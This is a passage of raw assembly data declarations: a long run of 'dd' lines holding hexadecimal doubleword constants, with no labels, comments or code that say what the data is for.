0D7CF50Dh, 4593F46Dh, 25264C10h, 0B50430BCh, 0D473E9B4h dd 3CCEB988h, 2049A36Eh, 0A34492EEh, 181737C8h, 4DBEDF33h dd 6A97A83Eh, 0DFA5AE7Bh, 0D9EB83ECh, 4EC5F8E5h, 0DFAAB9A0h dd 0D831B05Fh, 271509EFh, 0FFD547BBh, 47B702FCh, 0A3F30CF3h dd 2F083020h, 0C49DB5D7h, 14C6F70Dh, 0AAEF53A1h, 9857ECBFh dd 0EADADED0h, 22172F0Dh dd 238CBB8Ah, 0BECCF240h, 889E8AA0h, 4161BC8Dh, 3EA05F2Fh dd 42FE73CBh, 4B117BB3h, 0ECDA1A8Ch, 0B5A0B5A3h, 49661F9Eh dd 0F6A7FBC7h, 0C518312Eh, 0D055C865h, 0A9C97C96h, 42227AD3h dd 0F489D4B1h, 11B86EA6h, 708F6AE1h, 776EC714h, 0E44C05BFh dd 0D842C631h, 3639EBD2h, 2F461C4Bh, 70D4F8h, 3FDE8826h dd 95B211F0h, 0C5B8BFBBh, 0AEDBCA08h, 0AED2689Ah, 1328AD3Ch dd 0D9D8A5EFh, 0C1758D45h, 0E4443577h, 4C8AE980h, 24977009h dd 1AEC0E98h, 6F7A6AFBh, 0A6A4DAAEh, 0B02D9DF2h, 2B8419B4h dd 0F574E81Bh, 0FFF1A60Ch, 93A6A225h, 80CFDDCBh, 7E71996Ah dd 99D670D0h, 97B2F405h, 0AB351F8Bh, 9984F32Bh, 50FD9070h dd 0AFAB187Bh, 4D69D344h, 0B8D8F1F7h, 0DA072356h, 7858263Bh dd 0A42EBAAAh, 0CDD83D3Dh, 9A62EF23h, 0C523CEE9h, 857787B2h dd 39B40AFFh, 38BA3166h, 0F8850840h, 9517469Fh, 2A884233h dd 75AE4377h, 0E1449665h, 4ADAF3CAh, 4A448F5Eh, 0D90A9899h dd 930BC4EFh, 0E175E15Bh, 0EBEC32F5h, 33155420h, 0E07E993Ch dd 4BBA3824h, 3A23287Bh, 2BB00457h, 0B61694D5h, 2C9DCC26h dd 0FDC16E48h, 3FD3F035h, 6F05D113h, 6FD08D57h, 76BB0697h dd 7181D755h, 48D1E72Fh, 0EE2A3AB1h, 0BDAAE8B6h, 0FBA69C44h dd 17354724h, 0FA639A4h, 11CF8F62h, 0A530DE37h, 5185B28Ch dd 2BE8E84h, 0EC245ABh, 3C71D2A3h, 0B3CACBC3h, 64B3E010h dd 9725A5F8h, 0D695E7C7h, 0B0C68D14h, 5A44137Ah, 1BFDAEC1h dd 77E0DF0h, 0B6500A23h, 96725A3Ah, 9E29B7EEh, 9CABCE8Fh dd 0A7A88C5Dh, 5196986Dh, 83AC693Eh, 2B9888F7h, 0B7442368h dd 324AF52Eh, 0B53399A7h, 20AFA14Eh, 6BE67489h, 51400767h dd 52D2B521h, 36BD2561h, 0E4F038FBh, 6A91F3F0h, 0B811A9Dh dd 3F1B524Fh, 2D137DEEh, 0C7EFD354h, 5DB8C0E4h, 45DF0CCCh dd 9A1C7059h, 0A5B7C2C8h, 2D36322Dh, 0A81F6702h, 0D970E4A0h dd 0B1ACFB2Dh, 12D7F50Eh, 3A684FEFh, 40C2E330h, 557C4D28h dd 3AA94C4Fh, 6E421383h, 0F5E95A38h, 499196A6h, 70E9BF5Ah dd 0DB059C23h, 2F457367h, 0BCB16FEAh, 878D4D64h, 198603DCh dd 7DF7ACAh, 3346F407h, 0B0C126A8h, 72EDA0CBh, 6DA068BEh dd 9A4A142h, 0CBE722BEh, 0A2FA7C8h, 0F8DA3A7Fh, 0DDC8E845h dd 3464F884h, 0A1D132B3h, 352CE05Bh, 1C3F83AAh, 3FA2C2ABh dd 0BB316644h, 0E34A3E58h, 2B10F1B5h, 32DC2218h, 0F4BD25B5h dd 82345B65h, 0CA6A1EC3h, 0CE8003ADh, 45068FC1h, 5E61F84Ah dd 33F2FA83h, 6C19AF6Ah, 0BEFB2E4Ah, 1BBC0462h, 0D4FBF92Eh dd 0EDC0C708h, 516570A7h, 0CC6AEED9h, 0CA83C79Eh, 36E4B2CEh dd 0D27F86AFh, 26F6B7B9h, 1E3D73E0h, 0D1FC1245h, 0B04AA4DCh dd 7477D42h, 75815870h, 9BAA09C4h, 0B406712Eh, 0E35EF34Ah dd 660CD953h, 13F1E59Ch, 9E5A61D2h, 0E6424800h, 73A5CC7Ah dd 59A146CFh, 891EE0A0h, 0E1A90B0Fh, 0E579A6F8h, 0FE9C3F6Ch dd 5F21C883h, 667EFD4Ch, 7AF93F70h, 53A041D4h, 0BFEEF565h dd 7824EFDCh, 0D302FE87h, 6B852821h, 0AF8EE320h, 2D5FA347h dd 9C6D42F5h, 43A012Eh, 0BE98FFC2h, 0B6B6DDC2h, 0EB9FB17Eh dd 6C763B2Dh, 0EFE66AC6h, 9A1D8E43h, 0C2A6ED27h, 0F82D71D7h dd 4D0030EEh, 0DE833062h, 0FA2FEA3h, 49EF6965h, 500C6D53h dd 74A5E830h, 8CE9291Eh, 0E7BCE7Ah, 9FC7AC9Ch, 1B11A775h dd 3A51C2D4h, 0D1A3BC37h, 21559535h, 77EC1D99h, 0E2ACA98Bh dd 7CA40C03h, 9587D382h, 5117689h, 0BFAA811Ch, 0D9E433B1h dd 0D35CAC07h, 748ACD95h, 0D893B4ACh, 87205A4Dh, 42348844h dd 0C83FA3EAh, 69D677ADh, 0C27C978Fh, 0AD075E49h, 0A09263E5h dd 0B8C46BB6h, 18EE85E8h, 0F99FA36Eh, 0B00E30B3h, 0BFC77EE8h dd 0C9ADA19Ah, 9F004F3Ch, 1F21A856h, 71693768h, 0D598EDAEh dd 6E301CEDh, 73AD6CF5h, 0E5D2C4AFh, 6155CD4h, 6FBB4FC9h dd 26F8BB0Ch, 2D3C7D7h, 0FC8F5856h, 14F1228Ah, 0BD078F28h dd 388966F8h, 0B65355D9h, 0E979EFD0h, 0B332F4E1h, 0CCBD348Dh dd 246DBCh, 36FC183Dh, 8581A5FAh, 3A6A6117h, 5ECE7D5h dd 0A4BD93B0h, 0A9974DC3h, 86A9A0D5h, 0D2B12FCEh, 0FFE5197Eh dd 0ACFD1F9Ah, 2ED67B8Fh, 4B2E1122h, 0A773E697h, 1E8884D9h dd 0AFD0DC0Dh, 57D7BF9Ah, 5C0B822h, 0FFA685F4h, 682BFE45h dd 8E51FBD1h, 13683E1Bh, 678782FAh, 8B1A2535h, 0A6BE0F60h dd 0C0F87CD6h, 0FBBCC98Ah, 0BD575596h, 38CF1898h, 9AA5498Ah dd 2C2EF1E7h, 0D06A91E6h, 87A1F1C5h, 3CCFE2C8h, 827F2E59h dd 0FDD71404h, 0DE499885h, 0ACB060Dh, 741EB808h, 0C85AE14Bh dd 0C1B5F290h, 0E921AD69h, 0BEAEB697h, 687850F6h, 64559CCAh dd 7543150Fh, 5F59AB1Dh, 709163EBh, 35B3E920h, 35C84893h dd 4C2AEEF5h, 82A48980h, 83A10F6Fh, 2F1C9A9Dh, 0FAAF4341h dd 1D7896BAh, 0DA71FDA1h, 8AFBE40Eh, 4B9E5556h, 94C54662h dd 0F2B1D464h, 0D9D3F539h, 41F4D804h, 41F8AB8Dh, 0B6913FFDh dd 0E5F8B11Ch, 72DC5D65h, 0ADA83854h, 0F92CF0E9h, 958AC395h dd 92EAAAAh, 3A3AC53h, 0BC4B970Dh, 578C4CA4h, 30FB38Ah dd 0B6E9541Ah, 68C6055Fh, 5751C56Dh, 72333AD8h, 0E678B43Ah dd 0B325F092h, 35ED6689h, 7A1C53B2h, 534BC8E5h, 217AEBB9h dd 9626CBFEh, 0CDC64DCCh, 990C4AB2h, 0BA9041A6h, 6061C3C5h dd 12CC1366h, 1767BAFAh, 0B0B4942Fh, 0AB6A59F4h, 0E40A48BCh dd 0EB987730h, 0D725290Ah, 0A4F4CAF5h, 0B0430610h, 0D0281996h dd 1052FD56h, 0EAB290F0h, 412A7B9Ah, 6A1DE5B6h, 31FE4495h dd 0A9A048E6h, 0DF8B167Ch, 605F2E13h, 1A5B82A4h, 851386DDh dd 0A03A2729h, 0ACE5601h, 0E0334F84h, 16C37100h, 0B31847FCh dd 0A275937Dh, 6D8395B9h, 0BD5F4301h, 0C49EDBF8h, 35FA8EABh dd 966A54DCh, 0E37F05F1h, 30F46F3Fh, 3EC4EEEh, 5993F546h dd 95168896h, 8F466C9Dh, 0F14BD463h, 2F7DCA03h, 0CE4B9EBDh dd 17838D14h, 37B57F27h, 984E21CAh, 7737D6FCh, 0B2808B4h dd 75DECF40h, 9552A7D6h, 29858A35h, 916F9B7Fh, 7D872C0Bh dd 9584A76Eh, 70039944h, 0D3A32AABh, 54A85D6Eh, 1277B9F0h dd 618DFAC0h, 0CC780775h, 25270FFh, 897477BCh, 0FE2C2852h dd 0E35C66AFh, 5FD608EEh, 4B773346h, 0BBCE9D55h, 7D9296C9h dd 8D9C87C3h, 28BE4230h, 550DD649h, 18F7613Ch, 5FCE3A5Ah dd 44BFB779h, 35BF91h, 55F01E8h, 7A273190h, 12A7DFECh dd 0A9B075C5h, 27317A3Ch, 37CF0F8Ah, 66797EDBh, 0AA0E098Ch dd 0EF6F0D7Dh, 9614BBBEh, 0E5DEA0BAh, 0B4BDDB26h, 86342258h dd 0D3004033h, 526B369Bh, 1EC125B6h, 8D28AF24h, 596A5851h dd 1025E050h, 0A6EA7FF5h, 38BC06Ch, 8DA674Dh, 7D0EC8AAh dd 0F99C674Dh, 105E9F68h, 0A8D4F6Bh, 827F79F1h, 28D93013h dd 0BA91B9DEh, 7ECD104Bh, 173B2438h, 5D8A43FDh, 3CEAB03h dd 5B332A21h, 8564941Ah, 0B5B43FD3h, 0EDE1E950h, 50E344EBh dd 7D2E71Ah, 0B7255551h, 50685425h, 0C1E3D1B7h, 9C022824h dd 0EDAE81B5h, 0EC6849B2h, 5ED6791Bh, 4745EF05h, 0E8902BD6h dd 90344EF2h, 361567ECh, 187C21C9h, 17C1BB66h, 9AEB0B1Dh dd 192ABB90h, 0B65F354Ah, 120D4EB2h, 0A157A03h, 6C07A210h dd 2F16944h, 806EA2C6h, 0D99B17ACh, 0DA4C67BAh, 27DFFC96h dd 0FB66CF4Ch, 0E1B92568h, 0F3E1E15Eh, 6A1849B8h, 0B7308125h dd 0EBDF3DA7h, 7F68E7E3h dd 0B9E0882Ch, 6F0617B7h, 414112B4h, 0B14BEA41h, 0DC06478Ah dd 31B4F337h, 0D80A6166h, 0EFD974C9h, 0B81889BDh, 36C1E1A1h dd 29A46E21h, 1388EB9Fh, 0A9A0DAF7h, 25D18B6Bh, 0A4B1B1CFh dd 1749F5D0h, 91B2F465h, 548A4725h, 0AABD7DCBh, 6BCD05AFh dd 0BB7B53Dh, 8D899DE8h, 0FDA3AC96h, 0BC627B77h, 5AD8C5B8h dd 54272DCCh, 9A731459h, 21D83738h, 7CBB2052h, 8F8FD1A9h dd 0A1069160h, 0FF4584BAh, 81244A89h, 8D0B300Ch, 792C8A44h dd 0DD7C0705h, 0BB53419Eh, 982E29D1h, 0B3BCDB49h, 0E7E6C7AAh dd 255AE6EEh, 6F1EDC2Bh, 5D14726Bh, 87525483h, 0EDB66A96h dd 0B389456Eh, 472A0397h, 0A9BE7182h, 796EF277h, 0B605B6C8h dd 19CB2614h, 0F4D8CAE2h, 428CFBDCh, 0A28CC1F4h, 0B3957CA9h dd 0ACB34253h, 28764CFFh, 5F8C24B1h, 75D576CCh, 488E6CEAh dd 2FD4B30Ch, 0A357AEE9h, 0F831EF28h, 94DFDA1Ah, 0CAF3CFFh dd 0BF402791h, 12014665h, 0DFB9DA0Ch, 4C13F6AFh, 3F74D92Bh dd 0F0F946A2h, 1986E10Eh, 4D73AAD1h, 7D966B9Eh, 0CC38024Ah dd 0D02EA798h, 0D857D6F4h, 0BB7C8D9h, 9D007491h, 0AFC8590h dd 2371AC0Dh, 94AC4E0Ch, 2A6CEFA4h, 6DA0A1DBh, 28B2408h dd 0C59ED64Dh, 0DC985ED5h, 30813539h, 74CBC9BDh, 0F4E8B9A5h dd 40B90B33h, 70FDEFF0h, 0D92C720Bh, 0E22C0692h, 7C50816Bh dd 76971BEAh, 47FFD629h, 0BA2A78CDh, 14745B50h, 342F7CB1h dd 2D2488D5h, 93F18F6Bh, 0C61D422Fh, 95DA1519h, 0A8731FB0h dd 41516A0Fh, 0C56CF523h, 8CEE9E66h, 5CB61ADDh, 0FFAA2886h dd 0CADC746Ah, 0D48C7A38h, 0E27BAB74h, 3D49C07Bh, 34C7E52Ah dd 0DC7C43CAh, 0BEAFAE98h, 17BED494h, 0FF8B05D3h, 0E19DB8F2h dd 774E313Eh, 0E5696C60h, 9B92A582h, 9E36AAABh, 7619D6E1h dd 5C730FB9h, 539BDCAh, 47D10E7Ah, 0DE846745h, 10D07469h dd 6CE71B7Ah, 0BFCA56C2h, 0ED2F3712h, 42940CC3h, 55D277E4h dd 3E9286A0h, 645B092Fh, 5F240A17h, 0E52B318Bh, 9DAA5508h dd 0E05F41EFh, 3D8F5CE7h, 694F83EDh, 0A6BB80C8h, 3BEB0A3Dh dd 0ECAA7A20h, 50411A7Bh, 0F2801FD6h, 9D468F5Dh, 82078FEFh dd 0BF441745h, 9ACB2FA3h, 495A704Ah, 0BC930A7Fh, 6B9EA719h dd 3F54F331h, 0DEE3583Ch, 897DFF0Bh, 2238779Dh, 0B1F3E66Bh dd 1BC54227h, 413AF312h, 0A0D85E9Eh, 54EF963Bh, 0B27A52FCh dd 0D398CD64h, 0E0BD0BB7h, 332C02C6h, 46700A0Ah, 3907EC6Ch dd 0B31FF92Ah, 0DCCF33EAh, 0CF6D779Dh, 9FA3FA7Fh, 0E318D9EEh dd 0A05E9D67h, 0D056EF79h, 0AC5AED76h, 9BF7E974h, 202D0896h dd 3773B211h, 7F88DAD0h, 0C2A8F20Eh, 68699528h, 4B7EF6Bh dd 34082752h, 56E6E72Dh, 822F3547h, 927AC16Ch, 6E1A5182h dd 0E382F6EAh, 0B688BAE3h, 0E88D0E9Bh, 0EBAA2FE6h, 1C5712A1h dd 0B1466E7Eh, 904AC90h, 0D04DC4Dh, 6305B728h, 4D25584Fh dd 1EF1C100h, 0C0E575B4h, 89B41F95h, 0FFDA496Ah, 44F2B554h dd 0AE4E3607h, 0C0D725FEh, 0FD1C9839h, 0A85B754Ch, 71A57C69h dd 2E7CA68Ch, 0D8ADEBC4h, 0D0505E33h, 72A72AF3h, 81A95B3Eh dd 0BAAF6D20h, 3C240585h, 3737B963h, 1339DEC9h, 0E1029191h dd 0FF3BE924h, 0CD6ED6F7h, 19C8C630h, 0BF1EFFD5h, 92CA6EE8h dd 0BEE97EEDh, 1179F420h, 0AE280637h, 0F9D4C99h, 0AD64F724h dd 15863BA2h, 0E907D7A3h, 2F92F901h, 527AEA91h, 7E8C6276h dd 5BF6957Dh, 213F5E98h, 0AFA17FCAh, 180C58A9h, 64EA3544h dd 7744D90Eh, 9E97F700h, 214EABABh, 0CE25E592h, 79F8DD7Ch dd 0B3003C74h, 0E5893F1Dh, 0DEA73848h, 1992F9D7h, 0FD08ED33h dd 3C7638C5h, 0FBCBE070h, 347B623h, 0E5D5F682h, 0A4C96697h dd 692669E6h, 0BCFD45F1h, 85DF6014h, 9CEE190h, 0B2A8EB8Fh dd 0AED9A4E0h, 55885552h, 857516BAh, 15200993h, 0B87B8FAFh dd 0B16FB477h, 49D8CFF1h, 4DCC51E0h, 7473F7CBh, 0ACCFFE4Fh dd 543E95EAh, 25F8EA8h, 0C456463h, 71F2A156h, 31413C18h dd 1C9D86DEh, 0A9BA0E8Fh, 1249DA99h, 0FF3EEA04h, 61B00024h dd 46EB59AFh, 0FF18D323h, 0CBFBA211h, 0BF3E1F9Eh, 388D9CF7h dd 0F29D5255h, 5E73C5A2h, 8CCF916h, 33CACAD4h, 0A273D613h dd 0A146029Ah, 3863C0C6h, 122D4CBEh, 5604124h, 0B41EBF03h dd 0DEC1135Eh, 0F5F752F1h, 5226AB71h, 7740931Dh, 550DA005h dd 0B934C031h, 90DBA53Ch, 7CD91F98h, 0D5F7E8DDh, 0C0D7FAA8h dd 0D5376C67h, 0C6FDC041h, 4D988452h, 9DB53C64h, 0AA9B0E38h dd 12DF966Eh, 0B2C7B53Dh, 50187D53h, 9E154789h, 0E6C02711h dd 0EE1EA566h, 3CCBBD7Dh, 0DE7024B8h, 0B55603C4h, 0ACE5A011h dd 9B9FFC4h, 0A232099Dh, 6D099C0Ah, 42B12872h, 0AFB3C1BCh dd 4109C929h, 998F3859h, 591DA9Bh, 4BE5E223h, 0BF5CB3CAh dd 55D77070h, 0BA832EFAh, 0A10C50F8h, 0D757EE22h, 0D6246891h dd 0B8A80ECAh, 0B9811772h, 7902437Bh, 0D180FCD2h, 0A57FE900h dd 0B0825E63h, 3A138100h, 0A4BF2497h, 1017DA9Bh, 8DBFCE4Eh dd 390CAEB0h, 67A33F33h, 0F7BBE5Dh, 57835C94h, 0D02806B9h dd 6E665277h, 0A881CB1Ch, 876D1B47h, 0A99376C1h, 0B8433133h dd 0D6B8BC0Dh, 0E5D38EBFh, 8F2ECB5h, 0D9974CB0h, 0D4DB10DEh dd 3CA3118Ah, 5B698F28h, 84CA4C90h, 60A60064h, 5E77E72Ah dd 35418A46h, 4D657769h, 4A5FF2B5h, 0F6DCD4EBh, 6FA25652h dd 2BCAA4DAh, 68503CCCh, 73226E11h, 16A6BE39h, 388230E7h dd 77B60705h, 4BD4C096h, 68B44173h, 662D8EABh, 0B130AE3Fh dd 0C030A653h, 4C1D8BEBh, 0EC7364Fh, 0BB7A5003h, 58C936DDh dd 98E6A8B8h, 859939F1h, 0F64E0F23h, 0F1DDA3CAh, 68253303h dd 53DF3DCh, 0D4D1A04Bh, 238658C3h, 0B8D6978h, 0AAA80BB8h dd 6F11F6C6h, 3E5E5BB0h, 0BA056A1Eh, 1423E9ADh, 55D0D85Ch dd 0C4B56753h, 529906E0h, 89455E35h, 83ED4DA2h, 7AE5013h dd 5578A10Ch, 7568DDF1h, 6AB3D5F2h, 0CA3D92C6h, 3535A295h dd 53D144A7h, 0AFBEF33Eh, 0DAC6D313h, 0B54C012Dh, 0A008E4E4h dd 570ABFF6h, 0BB0EB595h, 3B47F7FAh, 3C0B6F7h, 86FD3FA8h dd 6674F31Dh, 0FB566709h, 0FC47884Fh, 41625B9h, 1D705408h dd 31410B23h, 5BCCEC3Eh, 8FC0B562h, 0CB54BFA5h, 0FF14257Ch dd 0E94BBB0Bh, 0A66B8DAFh, 47213224h, 33F4B6D8h, 0B5254B4Ch dd 34ADC9E0h, 7643EEF9h, 59E46646h, 280B2B89h, 0C360BA87h dd 7C22FB52h, 0FB98ABDAh, 0A77029F3h, 752E8C28h, 0CB766647h dd 7C9A28E7h, 20BD272Ch, 85E3B783h, 0D00945D5h, 3C84BDF7h dd 185C7CCh, 0A3B63C17h, 0E79B8AADh, 8E4048CDh, 9022A1D3h dd 0AE64D815h, 0C4B50E8Ah, 7A9796D9h, 0B4818C3Eh, 0EEEB2F49h dd 0D034796h, 0EA7C7B29h, 41316A45h, 83B6DC41h, 8C9B254Fh dd 1B95CE59h, 0B1AF5FAFh, 255E262Fh, 0AD2D600Bh, 0A58E704Eh dd 0D46FE780h, 0CF70922Fh, 5C89428Eh, 0D9A2D391h, 0D3C6A075h dd 0D28A48A2h, 0AC8A006Fh, 0C432846Fh, 2FFA8010h, 399CF349h dd 0A89FBFEFh, 5D9E5529h, 737B8F29h, 689255Dh, 7E7DCE68h dd 6D1DA81Ah, 4EA69AC5h, 0EF4561C9h, 33EE823Fh, 72424482h dd 1644C01Bh, 0E2F648C3h, 4B2EEACh, 5FC710F3h, 79FC1CD9h dd 30A44AF8h, 0A3FDAF74h, 376F0AC7h, 642C284Ch, 75DB0336h dd 0A995A077h, 6D2A5274h, 0B7982068h, 0E28C7198h, 73AE4EAh dd 993221E4h, 29148B91h, 0A02790F6h, 0BC5208EEh, 2BEB948Bh dd 0E26E9AA4h, 0AC4152F5h dd 334CD7C7h, 49A1AF51h, 0A03AD7B8h, 852151B1h, 1C3E6B94h dd 550E36CEh, 62EA7C65h, 0CF3523C4h, 0D1D43C0Bh, 269009B4h dd 5D46F2FBh, 0C04F010Bh, 0B934C97Bh, 772257E8h, 7EA90A60h dd 0EA2C15C3h, 0E3BB79DCh, 19F86E06h, 0CCEF6FC0h, 3E600D72h dd 0ABF51E39h, 8FE9E96Ch, 449FB102h, 151999D2h, 6D57E2A0h dd 28EC0A3Dh, 0B9F4962Ch, 493879A4h, 1C8AA95Dh, 3A3B69AEh dd 651BEF4h, 0BA0610Ch, 300A28F7h, 0E523B94Dh, 27EA7774h dd 1E23F3C2h, 0AA0B38EDh, 0E7068414h, 11246127h, 0EFA7B402h dd 0E98544CBh, 0AC9A66A3h, 0CE79A460h, 18288075h, 0EB89E646h dd 6CC364E4h, 782AB285h, 0C89B4AA5h, 2EA7654Ah, 4F6D6BF8h dd 3EDEF541h, 260C5F80h, 0D053EE8Ch, 74F695F5h, 2351D47Ch dd 5341CB49h, 641D43CBh, 12FDD8DEh, 3DBCD831h, 5D45701Fh dd 0CBDB1CBBh, 0AAE44DAh, 9560C007h, 0EB63B72h, 4257C2EBh dd 8A2BA804h, 4D781F0h, 825DADFBh, 0C740737Eh, 8030CAB9h dd 0E3DFEC7Dh, 13046781h, 518789D9h, 0ED651D9h, 4C6C1B89h dd 71B104F8h, 574BE444h, 66B376CDh, 0B6B39983h, 916FFAEFh dd 0C2DB60EEh, 909FFA77h, 18334572h, 47FDE755h, 0C62AF5AFh dd 90EAD0C7h, 63196363h, 2FDFEBFh, 1981E7EFh, 0B7F662AAh dd 789C68C6h, 0ADA44596h, 1C7787D2h, 9940A26Dh, 59BB8D97h dd 0E5AECE7Ah, 8E36B9BFh, 8A7949A6h, 3FB45FD2h, 4657A33h dd 8AA23968h, 0BA02D1FFh, 0DECA87CEh, 2C8340A0h, 172EE7F7h dd 0E2F0BEB6h, 0F4298FCFh, 3133FC46h, 0F1ABB484h, 25198Eh dd 0E35A88C4h, 0C33D62FFh, 243D94ABh, 90AD784Dh, 414E39FFh dd 0AD102F2Dh, 963A137Dh, 7F8F4101h, 57FF0434h, 5D53778Eh dd 707D6B35h, 5DF41D32h, 3BD2E5FCh, 6D7DFFA5h, 1558082Ah dd 9A74BDDDh, 25AB04D0h, 0CB00F0C7h, 4E40177Bh, 0E3B98698h dd 8D22F039h, 20B6E4ACh, 268E0319h, 0F424B1A6h, 0E8488C48h dd 416EFBBDh, 1B168E14h, 0BDC3DC3Eh, 4FCFE30Dh, 0D2DAFDBCh dd 25BDF51h, 841B8144h, 9305F188h, 0E052DA55h, 4376B77h dd 29CB0ECDh, 240A00F9h, 71CC2334h, 34CB71A1h, 40FE1B59h dd 17ED54EBh, 3109228Ah, 3082D9A3h, 0BE9C9CADh, 37C3019Bh dd 0B6CDD38Dh, 275C1C62h, 5CD521D6h, 21923F6Dh, 2C202AA4h dd 3CB49A6Eh, 0BD7641C5h, 0F49D85FEh, 434CF3FEh, 7D5C8DC8h dd 0DAAB8598h, 1B6272C8h, 0A0BF100Fh, 38EDC92Eh, 6445B4F9h dd 842F9B49h, 0D16DF4F1h, 445E9CF1h, 0CA082FBBh, 0AC0793B3h dd 8563E49Ah, 0BB8D5551h, 0A5AE0DA6h, 0E229B3CAh, 83A9E66Bh dd 1B3D6F72h, 4A7C9BEh, 59EFC67Fh, 0A6680D91h, 0B58EE8C7h dd 6C0D8DB7h, 6591DB5Bh, 79ADD940h, 0BFE41C1Fh, 0AA827A53h dd 0F21E0725h, 0D8F75F58h, 0EFEE58A7h, 0E41D6C29h, 1A4A4B8Bh dd 6233D7D3h, 7C77A7E6h, 84368B93h, 0A2486DEAh, 70E5E9EDh dd 0D0084635h, 0F3F2A389h, 0EF25674Ch, 0A8C53A3Bh, 4807D4h dd 0D10BE52Fh, 0C8CCB773h, 0E183C47Bh, 42D729D7h, 2A31A593h dd 8433FA88h, 0EDF47821h, 4DF644Ah, 650EC417h, 53A949E4h dd 9AAF6880h, 273702B5h, 7EDC95E0h, 0DF711A40h, 0EC1EC832h dd 7B97CE9h, 168BF305h, 8C7F80D7h, 0EE2191F3h, 7FB31CE0h dd 0CFE0C94Eh, 2804C69Bh, 0B4D4638Bh, 0DF5C1024h, 0A088486Eh dd 4AC38FCBh, 21C34DF6h, 0C4AAFF61h, 0BCA461C4h, 918E432Bh dd 40D9478Eh, 11D3232Dh, 0E733039Dh, 4C02AC8Bh, 86F6B4F7h dd 0B79B6950h, 157BACE6h, 49E4ED3Dh, 0E0DB686Eh, 0EA0E5138h dd 0A39AF78h, 2606E4A2h, 0E7B28603h, 0E84F1380h, 1841568Dh dd 256EBA29h, 27957112h, 0A10DE7F8h, 0EA5B6967h, 60A45010h dd 5601C81Ch, 55F5A138h, 0CE2C76A1h, 6DBD9C3Fh, 31C611F6h dd 2EFFFE6Fh, 6482A576h, 119C4354h, 0E35E558Bh, 9F061B88h dd 0FA8AD3FAh, 0F176758Fh, 0C135F35Dh, 0F148FFFFh, 6962BB80h dd 0D9608F30h, 5704D76Fh, 3FE2486Ch, 0A5AB37Fh, 0EE61E1C6h dd 8E8286BBh, 655F183Ah, 6FCF37A6h, 4B131A5Eh, 0E9422262h dd 0D641C7A3h, 0D38F7068h, 0C36C4624h, 8F3F5473h, 0BB69DE54h dd 0B5917D22h, 4DA587C5h, 7163576Eh, 0DFAB22F7h, 4FA79C4Dh dd 6EE4533Ch, 7913D67Ch, 6D642A4Ah, 616A8B54h, 728B0B8Fh dd 0A3BB26E6h, 0B08FF572h, 0E12B489Bh, 4D8460DCh, 25633536h dd 0DEA903D2h, 866FA4E5h, 8E86437h, 53A3E483h, 71A52711h dd 0D32477BDh, 0BAB60787h, 0AC5943D6h, 0BE3D548h, 0D9EEB345h dd 6343EBFAh, 33A9398Dh, 0CBFF741Bh, 768AB7AFh, 4637A0AAh dd 4CA7B6C2h, 618481EBh, 2C0DFC3h, 92E7B628h, 2B2ABF84h dd 0E2EC9108h, 0EE075F1Dh, 66541A28h, 964CEA3Fh, 0F0029DFh dd 7543F95Ch, 8589A98Eh, 0EACA49FBh, 7B61915Dh, 0E6289381h dd 6DE1A5D6h, 4ADFA81Dh, 0B06CA8BEh, 7F28B7B6h, 9E499788h dd 1B5A2FFDh, 994CF446h, 0ECC1CD8Eh, 33A7F787h, 83360B6Dh dd 0C518053Eh, 6B58A922h, 6E1115AEh, 0A3443C51h, 0FF617EF1h dd 0CC6E59C8h, 0E27A705Bh, 7CF36297h, 0A0AC98Ch, 668E403Fh dd 1A95C997h, 0CE0DD92Dh, 66A6EB9Dh, 9A17AA0Eh, 5A71372Ch dd 0CDAE8B56h, 50BF79D6h, 9647C826h, 37359F1Dh, 26A69625h dd 25830581h, 46042D42h, 75A764E6h, 0BC2C5553h, 5F1C6F84h dd 9A59D531h, 0A4CD130Ah, 62D42629h, 178885CBh, 2A6FFE18h dd 7639CDDAh, 0BE589B0Dh, 0F6B67A15h, 8B39BFDAh, 0B6817DECh dd 444BA78Ch, 0BEE72C30h, 80A6FF01h, 0F7358556h, 35CADFFFh dd 7676F787h, 769B3DDAh, 59FB9D03h, 49400C96h, 513276B1h dd 0DBB6DFA6h, 5D460AF5h, 0F51D0C82h, 30E6DC6Bh, 0F11E0ADFh dd 406E6A5Fh, 0FA8CEF2Dh, 0BEC3E1C2h, 0B4D7BE96h, 2F9105D2h dd 8A150C88h, 6CDE1B9Bh, 0F475528Eh, 0E1244547h, 0BEE6C27Fh dd 0E2E4C15h, 62FD55E0h, 90A98E0Ch, 27C126E4h, 76438C1Fh dd 67B4CCBEh, 0AF448E2Bh, 0A14C9BBDh, 74C00CCFh, 65DFAAD2h dd 1E43500Ah, 879455DFh, 0C5006A09h, 3C6907ACh, 0C585E05Eh dd 5F74D475h, 0C41206C1h, 3CD93B96h, 6AC0595h, 3A01DE2Eh dd 6BC7DFA6h, 34FBE447h, 1AA81A49h, 682D5D2Eh, 9358F60Bh dd 1DDC674Ah, 936BA3FBh, 5A7F9420h, 9363104Dh, 0F12C72A4h dd 68F85331h, 35F7C2FCh, 9B785AF9h, 0FAE200DCh, 2901C68Bh dd 57C869A2h, 0B5BB7812h, 29BA2435h, 39BBDFA0h, 39B6C809h dd 3D6940E6h, 0CE8DEEh, 0D01BF070h, 63DE4FFEh, 803D5C2Ah dd 368E6B35h, 532F7543h, 390FB1E2h, 6570348Eh, 6103E679h dd 2D84E386h, 4613536Bh, 2DD9B61Fh, 0F7E3E952h, 12C85AC1h dd 8925B66Bh, 107848F7h, 278E5B30h, 509940F3h, 76D70FDAh dd 0E7619594h, 6A3690F6h, 64AB5805h, 0D5A0BB4Eh, 3A99C31Eh dd 0CEF4D8BDh, 4AB59636h, 5C444B2h, 6EACA5C3h, 0E63AD992h dd 0EE88F702h, 2655F893h, 128252EDh, 0C9055D1Ch, 422B9515h dd 84C0B568h, 0A69F0D2Dh, 379868DEh, 6926F3B3h, 9F0AC09Ch dd 38A5F4A5h, 75A99131h, 0FDEFCB3Fh, 72430762h, 805D3D93h dd 52BD9F94h, 0EF3D2DADh, 9B24E4B0h, 1FB5AE79h, 0F0E978EEh dd 0D1404A6Eh, 47A195E8h, 0EBF29h, 46FB3301h, 0EE8BC9E1h dd 34D9E556h, 3E6549E3h, 1DE1777Ch, 52A1792Ah, 0C3D0600Ch dd 0E3D23A55h, 8F726B23h, 8F5A42FEh, 23D19698h, 53362C6Eh dd 2BCCE132h, 0F514A488h, 0B62C2CA2h, 10D179F4h, 866328C5h dd 8733E9A3h, 0C55AC946h dd 31163C2Dh, 4F52D152h, 0C8A9038h, 0C543D3FAh, 0A77475CFh dd 32355F15h, 0CE9159EEh, 199638BDh, 0F4AF0B79h, 358C679Bh dd 97E345C5h, 5611C927h, 0F636B510h, 